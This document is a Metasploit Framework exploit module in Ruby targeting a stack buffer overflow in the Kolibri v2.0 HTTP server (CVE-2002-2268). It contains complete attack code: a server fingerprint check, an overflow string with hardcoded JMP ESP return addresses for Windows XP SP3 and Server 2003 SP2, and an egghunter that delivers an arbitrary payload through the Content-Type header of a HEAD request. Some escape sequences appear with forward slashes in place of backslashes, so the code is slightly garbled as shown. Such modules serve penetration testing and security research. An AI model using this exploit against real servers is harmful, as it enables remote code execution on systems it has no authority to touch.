### $Id: kolibri_http.rb 10887 2011-08-03 12:19:19Z mr_me $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote	Rank = GoodRanking	HttpFingerprint = { :pattern => [ /kolibri-2/.0/ ] }	include Msf::Exploit::Remote::HttpClient	include Msf::Exploit::Egghunter	def initialize(info = {})		super(update_info(info,			'Name'           => 'Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow',			'Description'    => %q{This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.},			'Author'         => 					[ 						'mr_me <steventhomasseeley@gmail.com>', # msf						'TheLeader' # original exploit					],			'Version'        => '$Revision: 10887 $',			'References'     =>				[					[ 'CVE', '2002-2268' ],					[ 'OSVDB', '70808' ],					[ 'BID', '6289' ],					[ 'URL', 'http://www.exploit-db.com/exploits/15834/' ],				],			'Privileged'     => false,			'Payload'        =>				{					'Space'       => 3000,					'DisableNops' => true,					'BadChars'    => "/x00/x0d/x0a/x3d/x20/x3f",				},			'Platform'       => 'win',			'Targets'        =>				[					[ 'Windows XP sp3', { 'Ret' => 0x7E429353 } ] ,					[ 'Windows Server 2003 sp2', { 'Ret' => 0x76F73BC3 } ] ,				],			'DisclosureDate' => 'Dec 26 2010',			'DefaultTarget'  => 0))	end	def check		info = http_fingerprint		if info and (info =~ /kolibri-2/.0/)			return Exploit::CheckCode::Vulnerable		end		Exploit::CheckCode::Safe	end	def exploit		#7E429353    FFE4            JMP     ESP		# For a reliable and large payload, we use an egg hunter		# and direct RET to execute code		print_status("Sending request...")		eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars)		sploit = Rex::Text.rand_text_alphanumeric(515) + [target.ret].pack('V')		sploit << eh_stub		send_request_raw({			'uri'     => "/" + sploit,			'version' => '1.1',			'method'  => 'HEAD',			'headers' => {'Content-Type' => eh_egg},		})		handler	endend